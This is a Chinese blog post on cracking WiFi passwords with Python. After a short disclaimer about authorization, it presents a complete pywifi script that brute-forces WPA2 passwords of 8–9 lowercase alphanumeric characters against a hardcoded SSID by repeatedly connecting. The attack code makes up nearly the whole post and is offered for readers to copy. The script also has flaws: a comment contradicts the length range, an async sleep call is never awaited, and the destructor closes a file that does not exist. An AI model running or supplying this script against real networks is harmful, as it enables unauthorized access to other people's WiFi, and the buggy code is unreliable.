如何用python破解WiFi密码

简要说明

使用Python进行无线网络密码的渗透测试是一项技术含量较高且存在争议的操作,需要具备专业网络安全知识和伦理判断能力。此类技术实践不仅牵涉到加密算法的突破,更可能触及不同司法管辖区的网络安全法规。在获得授权的前提下,通过研究这些防护机制突破方式,能够有效提升自身网络防护能力。基于Python的无线渗透技术主要涵盖词库枚举法、穷举尝试法以及通信协议层面的漏洞利用,下面是其中一种,可以参考学习一下

参考代码

import time  # 时间
from asyncio.tasks import sleep
import itertools
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义
 
 
class PoJie():
    def __init__(self):
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
     
        time.sleep(1) #休眠1秒
     
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
    def readPassWord(self):
        print("开始破解:")
        chars = '0123456789abcdefghijklmnopqrstuvwxyz'
        for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
    # 使用itertools.product生成所有可能的密码组合
    # print(password_length)
            for password_tuple in itertools.product(chars, repeat=password_length):
                password = ''.join(password_tuple)
                # if password == "123":
                #     print(password)
                print(f'正在尝试密码{password}')   
                try:
                    myStr = password
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
                             
    def test_connect(self,findStr):#测试链接
 
        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="loveyiyi" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
     
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True  
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
     
        return isOK
     
 
    def __del__(self):
        self.file.close()
         
 
start=PoJie()
start.readPassWord()

 

© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享